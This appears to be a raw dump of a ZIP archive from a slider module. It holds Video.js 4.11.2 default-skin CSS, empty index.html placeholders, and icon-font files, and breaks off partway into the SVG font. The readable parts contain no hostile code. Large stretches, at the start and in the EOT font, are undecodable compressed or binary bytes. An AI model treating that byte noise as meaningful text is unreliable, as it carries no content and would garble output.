>�#/�R^�d+%/3��_�"}M������t�m�I�Al�r��>��<��6%�w�ۘ�O}p�����<]E?%~K�z�R~)V�SX�um��ً�^;+7�,��-,�L6���8(>[���30��X��PI@��q+���Q��7���Z{ٯ=�N�0<NHψ�6Vٻ��F�9bX�m.�L���̳�ަd�٣3��ne�3�b���#�FF�?��#j��
g�PP�#�R���;aU�'Z���-9n�'�`�3�M�0&�&i�M�
;p'���'�� 6i?�IY�a��s-���0˛j+ӹa
V�c����F\��ʙ��1\�,���Z�h�I<1s�R�s}�Q��^b�ݰ]
�u���A������܉�o�I㏈Z�3����3sI9e�s"��$�Zd�u�ۭ�\�s�Zst��[l���,��`�{m=����y:�QmjYd�z�N��Q����u��r>U�fۺ�t��20!�.�N�S��,c�_R^��«yE\��6�`t:;�g���Z�*Z���P���Zפ��+�kb�A$�]U��N
`�,���!ZD_^�FzZ�1�:����k�K��N�!���\��h�#�/sXTv��F�{vX�B�d�ɹ�p�^����#��rĒ��Q���o����ݛy�^�.wo�wy�{�,�ǫ����y�}^�w������%��W�ݯ�G��c�~�>�՟pw|«?��m<�)�������x���������&���_p��<�������/y�W�>|ū���y�k^���?�]��7���F�cZ�v�ϊ�7_���t�z
l\�Wz�b�pa��xGą���?�ox���9|K3��¾ٹ��Υ|Bs�͢_�ށ�j���9�99���������G�����Q/��$���B�.�z)W.�ѵ-�G��='J�g5x�ѫ3=��w�u�;�? =�D-�����X��W�ߥ��Y��ղ߇���{�w��;�Ix>�����]�o�4��‘uJ�7�G$֕K|��ei��{��G�,o�E��O<�(���7����4�]D����Lޟ�V��s�r��V��;���ڝ��FQ�d�[��ܗQA�NJ�U4�忎�Ô��E�oD>p.2�F+���}�9���ߘ��$o��t2$?Н�%�Ú~A0y>ל$�Α�44�{��,�h�X�/��r�`�F�ȿ�^c��?�q	��#U�N&�9%��~+S�.,��p$5��/8<���#�4��ʌ�D���X߹���_ȣ�B^�.���N�&�(�p'����ز��$Leƍ�+�I�EX���R�|�&�(�=*����7UT�Ĝ��:�(�f�%z��f��1X��Ϛ��Wq�O���{��Kq��d�j�2�j;��������M���k}��jV�l����	�s\,U�EQ�\
�T�������:L��МB�£�4\(Y%�|Q�Ȩ�ĥ������?�����z�3���?�Ϗ��4ѩ�r;���>S�>��}֏cFLH�m�r�vY�xl�/U�/U�/�Vz��g=�M��DO9��y�.g׳ULx}�����Ҫ>C��0�sV�9œ��ޟtµY���1O�,(�g�UV�W�����)קJ=�Cj��E8�i}갯3XƬ+&K�B.��iC;����rR6���i�bZż�
B���9���������>g�u\fP�J���nF����'V�\����<����{��^:�K�-p��ûu$���D��3Ή�V9��o�Ԫ���7lm�v����Ň`0���G\u��6�lpI��9/_�D����= J���_�d����ۼc[��k��'���B��P�Ց-xQlA#t�����+��!l!%뢓��=��_�n�r���׽���g���a^���~���#�܆몛��0�k���O#i�zY8���xˇ��Ee�+v�OIU��̞)��Q�ei�p��^Mz����J��*�}ǜ��?��=��z�~6�~D�?�?��܄ϋ���q�x�Q�^dov�2�H�����	bC�h�q�5�y��7�_�	w�a�'b�'������&f��)��
�i����B�VĨ�ʈ*�B���"�O�5����P`�������d����^����Ǘ��7�_Z
m
�6�Е��n�N�	��~�'�^O��p�2F���G���1_,��BnCA���~e���d����ľk���b���l���y�`;Q�M2��"� 5�%�-����!�:!���axQ�&�n�X�IE����\C/��/��/��O��~�NE�)�s	�_�r�)�l����j%}��*�z�
�.�G�N�3.�Q��Njp'gn5X�s2�s���™6I!RYEù?�:�\)z�R��<�&Y��K�P��ΉG^���-��������"Ζ�H���9D�����h�n)D�[���GB�ky$D��GB��yl��B08@��V�N���G�+���;Q8ߠ«�
D����t�(H��:��6^+������o�;�����1C<:)|���d!c�LɆ�
�b?�\�#��\��������7��n�*�Z�M�͔_�o���h�Vʯ�1���h�z�\��E���F��<ح�*���2��)�;H�7q��:�#���ZJ���l�f�O�{����Gc����n�V�-�T-bJ�2Ƴ����Qs�i��FN_@Q�Q�Bh#7��yn�D��[��g7�܊�z�~�Pp{�T�'���f�2ca�"�?j
���s�y�/�b�)И����>}��('o���Va{��z��3��;3O�j���Hb��[�M�ڮ�乑�n�(N���ܟ�f�Dq�Z�8��Q���E�c�0�B7�S+<L퐌�m�1�pj@ ��c�֐��E�Jh���(����
&eߘ�r+x��r�l��l9�/~[�����`�&����t\k	]�"�q�S�τ
{�b��<�-��Rq�6�A�v(8��S쵉Y���=V����1�r.b�B�s����\++�8����N�b꠭��W�@�u�"BVq�
�
��).�Pq��L/K��;Ha�㽴CmyL|F]b�=�x2>�D�k��Ϯ���Y�Ⳬ����2>��C0�Vv�L�� �s/,`)(g%VX��_¢��
��
���۸i�a�}���Kp_87S��
Ò@���z�kB�c���}
��-���n�+G����1&j��ݦ=�>�O��B����v���K_���c�ݦh $�F�#�٢�Uq����O-Ȇ��"Fbu�F1���4
�q5Ϙ!�X{��2E}"���bS$l��[%�6�qMY�MѠi������E��{:�En�x���
u9�}�F"f�H�W5p�+g�^.�
�LJL̶���gd���E�U����ȥ���p)0���]b�dC�
�F:*7���#G������R��Ņm�qa�qaہqa�u���̱�_�8~	8~��p£�����?�;|XOxUO��Ã���_w4��O�N�8i�0�7����8���He�'t�6R��-�� NؠhwI����e�����S�qʦ�C.A��`4d۴���>M�Du��e�DⲥF$.KC\���KΤ�����[�`
���8_PK!��qv8v8<mod_ap_smart_layerslider/assets/js/video_js/video-js.min.cssnu&1i�/*!
Video.js Default Styles (http://videojs.com)
Version 4.11.2
Create your own skin at http://designer.videojs.com
*/.vjs-default-skin{color:#ccc}@font-face{font-family:VideoJS;src:url(font/vjs.eot);src:url(font/vjs.eot?#iefix) format('embedded-opentype'),url(font/vjs.woff) format('woff'),url(font/vjs.ttf) format('truetype'),url(font/vjs.svg#icomoon) format('svg');font-weight:400;font-style:normal}.vjs-default-skin .vjs-slider{outline:0;position:relative;cursor:pointer;padding:0;background-color:#333;background-color:rgba(51,51,51,.9)}.vjs-default-skin .vjs-slider:focus{-webkit-box-shadow:0 0 2em #fff;-moz-box-shadow:0 0 2em #fff;box-shadow:0 0 2em #fff}.vjs-default-skin .vjs-slider-handle{position:absolute;left:0;top:0}.vjs-default-skin .vjs-slider-handle:before{content:"\e009";font-family:VideoJS;font-size:1em;line-height:1;text-align:center;text-shadow:0 0 1em #fff;position:absolute;top:0;left:0;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);-ms-transform:rotate(-45deg);-o-transform:rotate(-45deg);transform:rotate(-45deg)}.vjs-default-skin .vjs-control-bar{display:none;position:absolute;bottom:0;left:0;right:0;height:3em;background-color:#07141e;background-color:rgba(7,20,30,.7)}.vjs-default-skin.vjs-has-started .vjs-control-bar{display:block;visibility:visible;opacity:1;-webkit-transition:visibility .1s,opacity .1s;-moz-transition:visibility .1s,opacity .1s;-o-transition:visibility .1s,opacity .1s;transition:visibility .1s,opacity .1s}.vjs-default-skin.vjs-has-started.vjs-user-inactive.vjs-playing .vjs-control-bar{display:block;visibility:hidden;opacity:0;-webkit-transition:visibility 1s,opacity 1s;-moz-transition:visibility 1s,opacity 1s;-o-transition:visibility 1s,opacity 1s;transition:visibility 1s,opacity 1s}.vjs-default-skin.vjs-controls-disabled .vjs-control-bar{display:none}.vjs-default-skin.vjs-using-native-controls .vjs-control-bar{display:none}.vjs-default-skin.vjs-error .vjs-control-bar{display:none}.vjs-audio.vjs-default-skin.vjs-has-started.vjs-user-inactive.vjs-playing .vjs-control-bar{opacity:1;visibility:visible}@media \0screen{.vjs-default-skin.vjs-user-inactive.vjs-playing .vjs-control-bar :before{content:""}}.vjs-default-skin .vjs-control{outline:0;position:relative;float:left;text-align:center;margin:0;padding:0;height:3em;width:4em}.vjs-default-skin .vjs-control:before{font-family:VideoJS;font-size:1.5em;line-height:2;position:absolute;top:0;left:0;width:100%;height:100%;text-align:center;text-shadow:1px 1px 1px rgba(0,0,0,.5)}.vjs-default-skin .vjs-control:focus:before,.vjs-default-skin .vjs-control:hover:before{text-shadow:0 0 1em #fff}.vjs-default-skin .vjs-control:focus{}.vjs-default-skin .vjs-control-text{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.vjs-default-skin .vjs-play-control{width:5em;cursor:pointer}.vjs-default-skin .vjs-play-control:before{content:"\e001"}.vjs-default-skin.vjs-playing .vjs-play-control:before{content:"\e002"}.vjs-default-skin .vjs-playback-rate .vjs-playback-rate-value{font-size:1.5em;line-height:2;position:absolute;top:0;left:0;width:100%;height:100%;text-align:center;text-shadow:1px 1px 1px rgba(0,0,0,.5)}.vjs-default-skin .vjs-playback-rate.vjs-menu-button .vjs-menu .vjs-menu-content{width:4em;left:-2em;list-style:none}.vjs-default-skin .vjs-mute-control,.vjs-default-skin .vjs-volume-menu-button{cursor:pointer;float:right}.vjs-default-skin .vjs-mute-control:before,.vjs-default-skin .vjs-volume-menu-button:before{content:"\e006"}.vjs-default-skin .vjs-mute-control.vjs-vol-0:before,.vjs-default-skin .vjs-volume-menu-button.vjs-vol-0:before{content:"\e003"}.vjs-default-skin .vjs-mute-control.vjs-vol-1:before,.vjs-default-skin .vjs-volume-menu-button.vjs-vol-1:before{content:"\e004"}.vjs-default-skin .vjs-mute-control.vjs-vol-2:before,.vjs-default-skin .vjs-volume-menu-button.vjs-vol-2:before{content:"\e005"}.vjs-default-skin .vjs-volume-control{width:5em;float:right}.vjs-default-skin .vjs-volume-bar{width:5em;height:.6em;margin:1.1em auto 0}.vjs-default-skin .vjs-volume-level{position:absolute;top:0;left:0;height:.5em;width:100%;background:#66a8cc url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAGCAYAAADgzO9IAAAAP0lEQVQIHWWMAQoAIAgDR/QJ/Ub//04+w7ZICBwcOg5FZi5iBB82AGzixEglJrd4TVK5XUJpskSTEvpdFzX9AB2pGziSQcvAAAAAAElFTkSuQmCC) -50% 0 repeat}.vjs-default-skin .vjs-volume-bar .vjs-volume-handle{width:.5em;height:.5em;left:4.5em}.vjs-default-skin .vjs-volume-handle:before{font-size:.9em;top:-.2em;left:-.2em;width:1em;height:1em}.vjs-default-skin .vjs-volume-menu-button .vjs-menu{display:block;width:0;height:0;border-top-color:transparent}.vjs-default-skin .vjs-volume-menu-button .vjs-menu .vjs-menu-content{height:0;width:0}.vjs-default-skin .vjs-volume-menu-button:hover .vjs-menu,.vjs-default-skin .vjs-volume-menu-button .vjs-menu.vjs-lock-showing{border-top-color:rgba(7,40,50,.5)}.vjs-default-skin .vjs-volume-menu-button:hover .vjs-menu .vjs-menu-content,.vjs-default-skin .vjs-volume-menu-button .vjs-menu.vjs-lock-showing .vjs-menu-content{height:2.9em;width:10em}.vjs-default-skin .vjs-progress-control{position:absolute;left:0;right:0;width:auto;font-size:.3em;height:1em;top:-1em;-webkit-transition:all .4s;-moz-transition:all .4s;-o-transition:all .4s;transition:all .4s}.vjs-default-skin:hover .vjs-progress-control{font-size:.9em;-webkit-transition:all .2s;-moz-transition:all .2s;-o-transition:all .2s;transition:all .2s}.vjs-default-skin .vjs-progress-holder{height:100%}.vjs-default-skin .vjs-progress-holder .vjs-play-progress,.vjs-default-skin .vjs-progress-holder .vjs-load-progress,.vjs-default-skin .vjs-progress-holder .vjs-load-progress div{position:absolute;display:block;height:100%;margin:0;padding:0;width:0;left:0;top:0}.vjs-default-skin .vjs-play-progress{background:#66a8cc url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAGCAYAAADgzO9IAAAAP0lEQVQIHWWMAQoAIAgDR/QJ/Ub//04+w7ZICBwcOg5FZi5iBB82AGzixEglJrd4TVK5XUJpskSTEvpdFzX9AB2pGziSQcvAAAAAAElFTkSuQmCC) -50% 0 repeat}.vjs-default-skin .vjs-load-progress{background:#646464;background:rgba(255,255,255,.2)}.vjs-default-skin .vjs-load-progress div{background:#787878;background:rgba(255,255,255,.1)}.vjs-default-skin .vjs-seek-handle{width:1.5em;height:100%}.vjs-default-skin .vjs-seek-handle:before{padding-top:.1em}.vjs-default-skin.vjs-live .vjs-time-controls,.vjs-default-skin.vjs-live .vjs-time-divider,.vjs-default-skin.vjs-live .vjs-progress-control{display:none}.vjs-default-skin.vjs-live .vjs-live-display{display:block}.vjs-default-skin .vjs-live-display{display:none;font-size:1em;line-height:3em}.vjs-default-skin .vjs-time-controls{font-size:1em;line-height:3em}.vjs-default-skin .vjs-current-time{float:left}.vjs-default-skin .vjs-duration{float:left}.vjs-default-skin .vjs-remaining-time{display:none;float:left}.vjs-time-divider{float:left;line-height:3em}.vjs-default-skin .vjs-fullscreen-control{width:3.8em;cursor:pointer;float:right}.vjs-default-skin .vjs-fullscreen-control:before{content:"\e000"}.vjs-default-skin.vjs-fullscreen .vjs-fullscreen-control:before{content:"\e00b"}.vjs-default-skin .vjs-big-play-button{left:.5em;top:.5em;font-size:3em;display:block;z-index:2;position:absolute;width:4em;height:2.6em;text-align:center;vertical-align:middle;cursor:pointer;opacity:1;background-color:#07141e;background-color:rgba(7,20,30,.7);border:.1em solid #3b4249;-webkit-border-radius:.8em;-moz-border-radius:.8em;border-radius:.8em;-webkit-box-shadow:0 0 1em rgba(255,255,255,.25);-moz-box-shadow:0 0 1em rgba(255,255,255,.25);box-shadow:0 0 1em rgba(255,255,255,.25);-webkit-transition:all .4s;-moz-transition:all .4s;-o-transition:all .4s;transition:all .4s}.vjs-default-skin.vjs-big-play-centered .vjs-big-play-button{left:50%;margin-left:-2.1em;top:50%;margin-top:-1.4000000000000001em}.vjs-default-skin.vjs-controls-disabled .vjs-big-play-button{display:none}.vjs-default-skin.vjs-has-started .vjs-big-play-button{display:none}.vjs-default-skin.vjs-using-native-controls .vjs-big-play-button{display:none}.vjs-default-skin:hover .vjs-big-play-button,.vjs-default-skin .vjs-big-play-button:focus{outline:0;border-color:#fff;background-color:#505050;background-color:rgba(50,50,50,.75);-webkit-box-shadow:0 0 3em #fff;-moz-box-shadow:0 0 3em #fff;box-shadow:0 0 3em #fff;-webkit-transition:all 0s;-moz-transition:all 0s;-o-transition:all 0s;transition:all 0s}.vjs-default-skin .vjs-big-play-button:before{content:"\e001";font-family:VideoJS;line-height:2.6em;text-shadow:.05em .05em .1em #000;text-align:center;position:absolute;left:0;width:100%;height:100%}.vjs-error .vjs-big-play-button{display:none}.vjs-error-display{display:none}.vjs-error .vjs-error-display{display:block;position:absolute;left:0;top:0;width:100%;height:100%}.vjs-error .vjs-error-display:before{content:'X';font-family:Arial;font-size:4em;color:#666;line-height:1;text-shadow:.05em .05em .1em #000;text-align:center;vertical-align:middle;position:absolute;left:0;top:50%;margin-top:-.5em;width:100%}.vjs-error-display div{position:absolute;bottom:1em;right:0;left:0;font-size:1.4em;text-align:center;padding:3px;background:#000;background:rgba(0,0,0,.5)}.vjs-error-display a,.vjs-error-display a:visited{color:#F4A460}.vjs-loading-spinner{display:none;position:absolute;top:50%;left:50%;font-size:4em;line-height:1;width:1em;height:1em;margin-left:-.5em;margin-top:-.5em;opacity:.75}.vjs-waiting .vjs-loading-spinner,.vjs-seeking .vjs-loading-spinner{display:block;-webkit-animation:spin 1.5s infinite linear;-moz-animation:spin 1.5s infinite linear;-o-animation:spin 1.5s infinite linear;animation:spin 1.5s infinite linear}.vjs-error .vjs-loading-spinner{display:none;-webkit-animation:none;-moz-animation:none;-o-animation:none;animation:none}.vjs-default-skin .vjs-loading-spinner:before{content:"\e01e";font-family:VideoJS;position:absolute;top:0;left:0;width:1em;height:1em;text-align:center;text-shadow:0 0 .1em #000}@-moz-keyframes spin{0%{-moz-transform:rotate(0deg)}100%{-moz-transform:rotate(359deg)}}@-webkit-keyframes spin{0%{-webkit-transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg)}}@-o-keyframes spin{0%{-o-transform:rotate(0deg)}100%{-o-transform:rotate(359deg)}}@keyframes spin{0%{transform:rotate(0deg)}100%{transform:rotate(359deg)}}.vjs-default-skin .vjs-menu-button{float:right;cursor:pointer}.vjs-default-skin .vjs-menu{display:none;position:absolute;bottom:0;left:0;width:0;height:0;margin-bottom:3em;border-left:2em solid transparent;border-right:2em solid transparent;border-top:1.55em solid #000;border-top-color:rgba(7,40,50,.5)}.vjs-default-skin .vjs-menu-button .vjs-menu .vjs-menu-content{display:block;padding:0;margin:0;position:absolute;width:10em;bottom:1.5em;max-height:15em;overflow:auto;left:-5em;background-color:#07141e;background-color:rgba(7,20,30,.7);-webkit-box-shadow:-.2em -.2em .3em rgba(255,255,255,.2);-moz-box-shadow:-.2em -.2em .3em rgba(255,255,255,.2);box-shadow:-.2em -.2em .3em rgba(255,255,255,.2)}.vjs-default-skin .vjs-menu-button:hover .vjs-control-content .vjs-menu,.vjs-default-skin .vjs-control-content .vjs-menu.vjs-lock-showing{display:block}.vjs-default-skin .vjs-menu-button ul li{list-style:none;margin:0;padding:.3em 0;line-height:1.4em;font-size:1.2em;text-align:center;text-transform:lowercase}.vjs-default-skin .vjs-menu-button ul li.vjs-selected{background-color:#000}.vjs-default-skin .vjs-menu-button ul li:focus,.vjs-default-skin .vjs-menu-button ul li:hover,.vjs-default-skin .vjs-menu-button ul li.vjs-selected:focus,.vjs-default-skin .vjs-menu-button ul li.vjs-selected:hover{outline:0;color:#111;background-color:#fff;background-color:rgba(255,255,255,.75);-webkit-box-shadow:0 0 1em #fff;-moz-box-shadow:0 0 1em #fff;box-shadow:0 0 1em #fff}.vjs-default-skin .vjs-menu-button ul li.vjs-menu-title{text-align:center;text-transform:uppercase;font-size:1em;line-height:2em;padding:0;margin:0 0 .3em;font-weight:700;cursor:default}.vjs-default-skin .vjs-subtitles-button:before{content:"\e00c"}.vjs-default-skin .vjs-captions-button:before{content:"\e008"}.vjs-default-skin .vjs-chapters-button:before{content:"\e00c"}.vjs-default-skin .vjs-chapters-button.vjs-menu-button .vjs-menu .vjs-menu-content{width:24em;left:-12em}.vjs-default-skin .vjs-captions-button:focus .vjs-control-content:before,.vjs-default-skin .vjs-captions-button:hover .vjs-control-content:before{-webkit-box-shadow:0 0 1em #fff;-moz-box-shadow:0 0 1em #fff;box-shadow:0 0 1em #fff}.video-js{background-color:#000;position:relative;padding:0;font-size:10px;vertical-align:middle;font-weight:400;font-style:normal;font-family:Arial,sans-serif;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.video-js .vjs-tech{position:absolute;top:0;left:0;width:100%;height:100%}.video-js:-moz-full-screen{position:absolute}body.vjs-full-window{padding:0;margin:0;height:100%;overflow-y:auto}.video-js.vjs-fullscreen{position:fixed;overflow:hidden;z-index:1000;left:0;top:0;bottom:0;right:0;width:100%!important;height:100%!important;_position:absolute}.video-js:-webkit-full-screen{width:100%!important;height:100%!important}.video-js.vjs-fullscreen.vjs-user-inactive{cursor:none}.vjs-poster{background-repeat:no-repeat;background-position:50% 50%;background-size:contain;cursor:pointer;margin:0;padding:0;position:absolute;top:0;right:0;bottom:0;left:0}.vjs-poster img{display:block;margin:0 auto;max-height:100%;padding:0;width:100%}.video-js.vjs-has-started .vjs-poster{display:none}.video-js.vjs-audio.vjs-has-started .vjs-poster{display:block}.video-js.vjs-controls-disabled .vjs-poster{display:none}.video-js.vjs-using-native-controls .vjs-poster{display:none}.video-js .vjs-text-track-display{text-align:center;position:absolute;bottom:4em;left:1em;right:1em}.video-js.vjs-user-inactive.vjs-playing .vjs-text-track-display{bottom:1em}.video-js .vjs-text-track{display:none;font-size:1.4em;text-align:center;margin-bottom:.1em;background-color:#000;background-color:rgba(0,0,0,.5)}.video-js .vjs-subtitles{color:#fff}.video-js .vjs-captions{color:#fc6}.vjs-tt-cue{display:block}.video-js.vjs-fullscreen .vjs-text-track{font-size:3em}.vjs-default-skin .vjs-hidden{display:none}.vjs-lock-showing{display:block!important;opacity:1;visibility:visible}.vjs-no-js{padding:20px;color:#ccc;background-color:#333;font-size:18px;font-family:Arial,sans-serif;text-align:center;width:300px;height:150px;margin:0 auto}.vjs-no-js a,.vjs-no-js a:visited{color:#F4A460}PK!�a�--6mod_ap_smart_layerslider/assets/js/video_js/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>
PK!�a�--;mod_ap_smart_layerslider/assets/js/video_js/font/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>
PK!e����8mod_ap_smart_layerslider/assets/js/video_js/font/vjs.eotnu&1i�� �LP�Z��icomoonRegularVersion 1.0icomoon�0OS/2�*�`cmap���n\gaspxglyf��s��@head���6hhea	 5�$hmtxK��Xlocat.maxp�� nameD���9post �������3	@�������@ H ������� ��������� ���797979���
''7'!7��`������`����`��`���`������@@@	����@�����@�@!!!!�@���@��@���q>&/#37�



��q
��
���Gq#4%".'.467>4&'.467>2#>&/#37%	,--,	�



���MPM,qtq,�
��
���pq(L]%".'.467>4&'.467>2#'".'.467>4&'.467>2#>&/#37�		1111/  /		�	,--,	�



��2{�{2GMT++TMG[MPM,qtq,�
��
���@q-Vz�%".'.467>54.'.467>2#'".'.467>4&'.467>2#'".'.467>4&'.467>2#>&/#37z	!3""3!(=))=(	�		1111/  /		�	,--,	�



��&!LSZ..ZSL!([el88le[(Z2{�{2GMT++TMG[MPM,qtq,�
��
������@�	��@@�����^�Al�!!4.'.'.#">7>7>5%.#"32>7##".54>323!.#"32>7##".54>323^���		U}�VU��X



X��UV�}U		�� 8N2.P;" <V7+I6#�
"��!7N3-P;" <V6,I6"�"�����DcJ5

5JcDCdI5

5IdC/5S9(KkBCkK(:T5")6(;)"5S9(KkBCkK(:T5")6(;)"�@�@!!��@�8��)>S|���32>54.#"32>54.#"32>54.#"32>54.#"8132>581814.#"81%8132>581814.#"818132>581814.#"8132>54.#"�#..##..#"//""//"�







p



��







��



 ####X@.##..##.p/""//""/��







��



p







p



 ####�����
''7'!7���`����`����`��`���������)2#".'5>5<.5.54>3j��PP��j

)Z]`0.#,F1P��j�Aq�VV�qA)3

#*1HR\1V�qA���)c"32>54.#2#".54>3#".'.54>78132>7>4&'7j��PP��jj��PP��j5]F((F]55]F((F]51GMT++TMG/  /C11117=@""@=71111C/  /�P��jj��PP��jj��P�(F]55]F((F]55]F(��/  /GMT++TMGC2{�{2%

%2{�{2CGMT++TMG���T"%4>45<.5%32>54.#".#"32>732>54.#` �Q� !:,,:!!:,�Q !:,,:! �,:!!:,,:!��,:!!:,,:!�,:!!:,�!:,,:!!:, ���`�4.'.'.'."72>7>7>7>7:12>50<51'".'.'.'.74>7>7>7>23#

!'*,0011/.+'$	

	
$')----,+'%"

f#$&)*+**(%"	
"#'&(&'$#
	�210,)%		
		
 &(+../..-(&$	
		#&'

�&#!	
	!#%()))(&#!

	!"%%&

���=">3232>54.#2>7#".54.#"3i��RCq�UV�qA##P��ji��RCq�UV�qA##P��j�N��h[�vDFz�]##j��P�N��h[�vDFz�]##j��P���@U5'.'7'./#'737>77'>?".54>32#�V�y

�

y�V��W�z
�
z�W��.##..##.`�

y�V��V�y

�
y�W��W�y
 #..##..#ւ��_<�ϙ��ϙ����^����^^��@�^�8 
>Lb��^$4 \�TN� ��G$U2
(c		G	$	U		9	
(cicomoonVersion 1.0icomoonicomoonicomoonRegularicomoonGenerated by IcoMoonPK!!��t(t(8mod_ap_smart_layerslider/assets/js/video_js/font/vjs.svgnu&1i�<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>Generated by IcoMoon</metadata>
<defs>
<font id="icomoon" horiz-adv-x="1024">
<font-face units-per-em="1024" ascent="960" descent="-64" />
<missing-glyph horiz-adv-x="1024" />
<glyph unicode="&#x20;" d="" horiz-adv-x="512" />
<glyph unicode="&#xe000;" d="M1024 960v-416l-160 160-192-192-96 96 192 192-160 160zM448 288l-192-192 160-160h-416v416l160-160 192 192z" />
<glyph unicode="&#xe001;" d="M192 832l640-384-640-384z" />
<glyph unicode="&#xe002;" d="M128 832h320v-768h-320zM576 832h320v-768h-320z" />
<glyph unicode="&#xe003;" d="M401.332 881.332c25.668 25.668 46.668 16.968 46.668-19.332v-828c0-36.3-21-44.998-46.668-19.33l-241.332 241.33h-160v384h160l241.332 241.332z" />
<glyph unicode="&#xe004;" d="M549.020 218.98c-12.286 0-24.568 4.686-33.942 14.058-18.746 18.746-18.746 49.136 0 67.882 81.1 81.1 81.1 213.058 0 294.156-18.746 18.746-18.746 49.138 0 67.882 18.746 18.744 49.136 18.744 67.882 0 118.53-118.53 118.53-311.392 0-429.922-9.372-9.37-21.656-14.056-33.94-14.056zM401.332 881.332c25.668 25.668 46.668 16.968 46.668-19.332v-828c0-36.3-21-44.998-46.668-19.33l-241.332 241.33h-160v384h160l241.332 241.332z" />
<glyph unicode="&#xe005;" d="M719.53 128.47c-12.286 0-24.568 4.686-33.942 14.058-18.744 18.744-18.744 49.136 0 67.882 131.006 131.006 131.006 344.17 0 475.176-18.744 18.746-18.744 49.138 0 67.882 18.744 18.742 49.138 18.744 67.882 0 81.594-81.592 126.53-190.076 126.53-305.468 0-115.39-44.936-223.876-126.53-305.47-9.372-9.374-21.656-14.060-33.94-14.060zM549.020 218.98c-12.286 0-24.568 4.686-33.942 14.058-18.746 18.746-18.746 49.136 0 67.882 81.1 81.1 81.1 213.058 0 294.156-18.746 18.746-18.746 49.138 0 67.882 18.746 18.744 49.136 18.744 67.882 0 118.53-118.53 118.53-311.392 0-429.922-9.372-9.37-21.656-14.056-33.94-14.056zM401.332 881.332c25.668 25.668 46.668 16.968 46.668-19.332v-828c0-36.3-21-44.998-46.668-19.33l-241.332 241.33h-160v384h160l241.332 241.332z" />
<glyph unicode="&#xe006;" d="M890.040 37.96c-12.286 0-24.568 4.686-33.942 14.058-18.744 18.746-18.744 49.136 0 67.882 87.638 87.642 135.904 204.16 135.904 328.1 0 123.938-48.266 240.458-135.904 328.098-18.744 18.746-18.744 49.138 0 67.882 18.744 18.744 49.138 18.744 67.882 0 105.77-105.772 164.022-246.4 164.022-395.98 0-149.582-58.252-290.208-164.022-395.98-9.372-9.374-21.656-14.060-33.94-14.060zM719.53 128.47c-12.286 0-24.568 4.686-33.942 14.058-18.744 18.744-18.744 49.136 0 67.882 131.006 131.006 131.006 344.17 0 475.176-18.744 18.746-18.744 49.138 0 67.882 18.744 18.742 49.138 18.744 67.882 0 81.594-81.592 126.53-190.076 126.53-305.468 0-115.39-44.936-223.876-126.53-305.47-9.372-9.374-21.656-14.060-33.94-14.060zM549.020 218.98c-12.286 0-24.568 4.686-33.942 14.058-18.746 18.746-18.746 49.136 0 67.882 81.1 81.1 81.1 213.058 0 294.156-18.746 18.746-18.746 49.138 0 67.882 18.746 18.744 49.136 18.744 67.882 0 118.53-118.53 118.53-311.392 0-429.922-9.372-9.37-21.656-14.056-33.94-14.056zM401.332 881.332c25.668 25.668 46.668 16.968 46.668-19.332v-828c0-36.3-21-44.998-46.668-19.33l-241.332 241.33h-160v384h160l241.332 241.332z" horiz-adv-x="1088" />
<glyph unicode="&#xe007;" d="M512 960l-320-512 320-512 320 512z" />
<glyph unicode="&#xe008;" d="M0 960h1374.316v-1030.414h-1374.316v1030.414zM1245.462 449.276c-1.706 180.052-8.542 258.568-51.2 314.036-7.68 11.946-22.186 18.772-34.132 27.296-41.814 30.73-238.944 41.814-467.636 41.814-228.702 0-435.21-11.084-476.17-41.814-12.8-8.524-27.316-15.35-35.84-27.296-41.822-55.468-47.786-133.984-50.346-314.036 2.56-180.062 8.524-258.57 50.346-314.036 8.524-12.8 23.040-18.774 35.84-27.306 40.96-31.574 247.468-41.814 476.17-43.52 228.692 1.706 425.822 11.946 467.636 43.52 11.946 8.532 26.452 14.506 34.132 27.306 42.658 55.466 49.494 133.974 51.2 314.036zM662.358 495.904c-11.58 140.898-86.51 223.906-220.556 223.906-122.458 0-218.722-110.432-218.722-287.88 0-178.212 87.73-289.396 232.734-289.396 115.766 0 196.798 85.298 209.588 226.95h-138.302c-5.48-52.548-27.414-92.914-73.72-92.914-73.108 0-86.51 72.354-86.51 149.27 0 105.868 30.46 159.932 81.032 159.932 45.082 0 73.718-32.75 77.976-89.868h136.48zM1140.026 495.904c-11.57 140.898-86.51 223.906-220.546 223.906-122.466 0-218.722-110.432-218.722-287.88 0-178.212 87.73-289.396 232.734-289.396 115.758 0 196.788 85.298 209.58 226.95h-138.304c-5.47-52.548-27.404-92.914-73.71-92.914-73.116 0-86.518 72.354-86.518 149.27 0 105.868 30.468 159.932 81.030 159.932 45.084 0 73.728-32.75 77.986-89.868h136.47z" horiz-adv-x="1374" />
<glyph unicode="&#xe009;" d="M128 832h768v-768h-768z" />
<glyph unicode="&#xe00a;" d="M384 832c0-70.692 57.308-128 128-128s128 57.308 128 128c0 70.692-57.308 128-128 128-70.692 0-128-57.308-128-128zM655.53 719.53c0-70.692 57.308-128 128-128s128 57.308 128 128c0 70.692-57.308 128-128 128-70.692 0-128-57.308-128-128zM832 448c0-35.346 28.654-64 64-64s64 28.654 64 64c0 35.346-28.654 64-64 64-35.346 0-64-28.654-64-64zM719.53 176.47c0-35.346 28.654-64 64-64s64 28.654 64 64c0 35.346-28.654 64-64 64-35.346 0-64-28.654-64-64zM448.002 64c0 0 0 0 0 0 0-35.346 28.654-64 64-64 35.346 0 64 28.654 64 64 0 0 0 0 0 0 0 0 0 0 0 0 0 35.346-28.654 64-64 64-35.346 0-64-28.654-64-64s0 0 0 0zM176.472 176.47c0 0 0 0 0 0 0-35.346 28.654-64 64-64 35.346 0 64 28.654 64 64 0 0 0 0 0 0 0 0 0 0 0 0 0 35.346-28.654 64-64 64-35.346 0-64-28.654-64-64s0 0 0 0zM144.472 719.53c0 0 0 0 0 0 